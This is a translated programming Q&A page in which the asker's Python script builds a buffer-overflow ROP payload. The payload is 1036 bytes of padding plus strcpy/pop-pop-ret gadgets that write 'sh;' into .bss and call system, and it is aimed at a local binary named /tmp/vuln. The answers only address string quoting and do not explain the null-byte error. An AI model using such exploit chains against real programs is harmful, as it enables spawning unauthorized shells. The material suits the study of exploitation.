使用python执行带有输入的c程序

时间:2015-04-11 23:35:11

标签: python c

我正在尝试在python脚本上执行带有输入字符串参数的c程序。但我得到一个类型错误。

p - >是一个字符串变量 vuln - >是一个c二进制文件,我可以使用终端

执行

这是给出错误的行:

system("/tmp/vuln\""+p+"\"")

TypeError:system()参数1必须是不带空字节的字符串,而不是str

由于

更新:这是完整的代码

#!/usr/bin/python

from struct import pack
from os import system

junk = 'A'*1036 #junk to offset to stored ret
strcpy = pack("<L", 0x0016bf60) #system - 0x10
ppr = pack("<L", 0x080483c2) #pop pop ret

p = junk
p += strcpy
p += ppr
p += pack("<L", 0x0804969c) #bss
p += pack("<L", 0x08048142) # 's'
p += strcpy
p += ppr
p += pack("<L", 0x0804969d) #bss+1
p += pack("<L", 0x080482fa) # 'h'
p += strcpy
p += ppr
p += pack("<L", 0x0804969f) #bss+2
p += pack("<L", 0x080484ff) # ';'
p += pack("<L", 0x0016bf70) #system
p += "AAAA"
p += pack("<L", 0x0804969c) #bss (now contains "sh;<junk>")

system("/tmp/vuln " + p)

2 个答案:

答案 0 :(得分:0)

您不需要转义双引号。

system("/tmp/vuln " + p) # note the space before the ending quote

应该可以正常工作。

请注意,如果您想阅读vuln的输出或以任何方式与其进行互动,那么使用subprocess模块会更好。

答案 1 :(得分:0)

您的输入字符串全部搞砸了

system("/tmp/vuln " + p)

额外的退格是转义字符,你不需要这些